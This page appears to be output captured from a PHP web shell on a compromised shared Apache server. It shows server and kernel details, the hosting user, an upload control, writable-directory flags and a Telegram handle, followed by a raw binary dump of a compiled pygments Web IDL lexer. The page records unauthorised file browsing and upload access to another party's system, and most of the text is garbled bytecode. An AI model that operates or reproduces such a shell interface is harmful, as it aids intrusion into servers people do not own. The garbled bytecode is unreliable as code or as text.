https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/pygments/lexers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/pygments/lexers/__pycache__/webidl.cpython-310.pyc
o

���a�(�@sjdZddlmZmZmZmZddlmZmZm	Z	m
Z
mZmZm
Z
dgZdZdZdZdZGd	d�de�Zd
S)z�
    pygments.lexers.webidl
    ~~~~~~~~~~~~~~~~~~~~~~

    Lexers for Web IDL, including some extensions.

    :copyright: Copyright 2006-2021 by the Pygments team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�)�
RegexLexer�default�include�words)�Comment�Keyword�Name�Number�Punctuation�String�Text�WebIDLLexer)�byte�octet�booleanz*(?:unsigned\s+)?(?:short|long(?:\s+long)?)z$(?:unrestricted\s+)?(?:float|double)�	DOMString�
ByteString�	USVString�Error�DOMException�
Uint8Array�Uint16Array�Uint32Array�Uint8ClampedArray�Float32Array�Float64Array�ArrayBuffer�DataView�	Int8Array�
Int16Array�
Int32Array�any�void�object�RegExpz_?[A-Za-z][a-zA-Z0-9_-]*z	(?![\w-])z"[^"]*"c@s eZdZdZdZdgZdgZiddefdej	fdej
fd	ejfg�d
ed�de
dfd
eefdeedfdeedfdeedfdeedfdeedfdeedfeejdfg
�ded�de
feejfde
dfde
dfd e
d!fg�ded�eed"feefde
d#fed!�g�d"ed�de
dfed!�g�ded�d$e
d!fed%�g�d%ed�d&eefde
dfde
d!fd$e
d'fed(�g�d)ed�eejfd*e
fde
d+fed!�g�d#ed�eejfde
fd$e
d!fg�d,ed�d-d.�e�d/eejd0fed1ed2�ejd3feejd3fde
d4fg�d4ed�d5eefd$e
d6fed,�g�d3d7e
d8fed6�g�d0d9e
fed'�g�d+ed�ed:�eed!fd;e
d!fg�d:ed�ed<ed2�ejd!fd=ejd!fd>ejd!fd?ej d!fd@ej!d!fg�ded�eejfdAe
d!fg�ded�eej"fdBe
dCfdAe
d!fg�idCed�de
dfdDeefdEeedFfdGeedHfdIe
d!fedJ�g�ded�eejfdKe
fdBe
dLfdAe
d!fg�dLedMed2�edNfedOed2�efdPeedQfdAe
fedC�g�dRed�eejfdAe
d!fg�dSed�eejfde
d:fdAe
d!fg�dTed�dAe
d!fedU�g�dUed�eej#fde
dfdAe
d'fg�dNed�d7e
d8fdAe
d!fg�d8ed�de
fdVe
d!fed,�g�dQed�de
dWfdAe
d!fedU�g�dWed�eejd!fdBe
dXfde
dYfg�dXed�edZed2�efde
feejfdIe
d'fg�dYed�ed[ed2�efde
feejfd\e
d'fg�ded�eejfdBe
d]fdAe
d!fg�d]ed�eefde
fdIe
d!fg�ded�deed^feejfde
d_fdAe
d!fg�ded�eejfdKe
fdBe
d`fdAe
d!fg��ed�de
dfdaeefdIe
d!fedb�ged�eejfde
d+fdAe
d!fged�dceefeejfdAe
d!fgdd��Z$deS)fr
z1
    For Web IDL.

    .. versionadded:: 2.6
    zWeb IDL�webidlz*.webidl�commonz\s+z
(?s)/\*.*?\*/z//.*z^#.*�rootz\[�extended_attributes�partial�typedef)r*�type�	interface�interface_rest�enum�	enum_rest�callback�
callback_rest�
dictionary�dictionary_rest�	namespace�namespace_rest�implements_rest�,�=�extended_attribute_restz\(�
argument_listz\]�#pop�extended_attribute_named_rest�identifier_listz\)�argument�optionalz#pop:2)�
argument_restr+r@z\.\.\.�
default_valuer+z(?:�|�)�	type_null)�sequence�Promise�FrozenArray)�suffix�type_identifier�
union_type�or)r;rD�<�	type_listz\?�const_valuez\[\s*\])�true�falsez	-Infinity�Infinity�NaN�nullzQ-?(?:(?:[0-9]+\.[0-9]*|[0-9]*\.[0-9]+)(?:[Ee][+-]?[0-9]+)?|[0-9]+[Ee][+-]?[0-9]+)z
-?[1-9][0-9]*z-?0[Xx][0-9A-Fa-f]+z	-?0[0-7]*�;z\{�namespace_body�readonly�	attribute)�attribute_restr+�const)�
const_restr+z\})�operation_restr+�:�interface_body)�iterable�maplike�setlike�iterable_maplike_setlike_rest)	�setter�getter�creator�deleter�legacycaller�inherit�static�stringifier�	jsonifier�
serializer�serializer_restrXrZr[�	operation�>�serialization_pattern�serialization_pattern_map�serialization_pattern_list)rcrgrW)rcrW�]�	enum_body)r;r-)rmr+�dictionary_body�required)�dictionary_itemr+�
implements)rtrvr6N)%�__name__�
__module__�__qualname__�__doc__�name�aliases�	filenamesrr�	Multiline�Single�Preprocrr
�_keyword_suffixr�_identifierr�Class�	Decorator�_stringrr�Variable�join�_builtin_types�Typer�Constantr	�Float�Integer�Hex�Oct�	Namespace�Function�tokens�r�r��8/usr/lib/python3/dist-packages/pygments/lexers/webidl.pyr
's���

������"��'��,
��4��;��A���
��J
��P��T��X��^���


��h��m��s
���}��
������������������%���*���0���6
���<�����D���K���Q���W����_���g
��
���N)r{�pygments.lexerrrrr�pygments.tokenrrrr	r
rr�__all__r�r�r�r�r
r�r�r�r��<module>s
$

https://t.me/RX1948 - 2025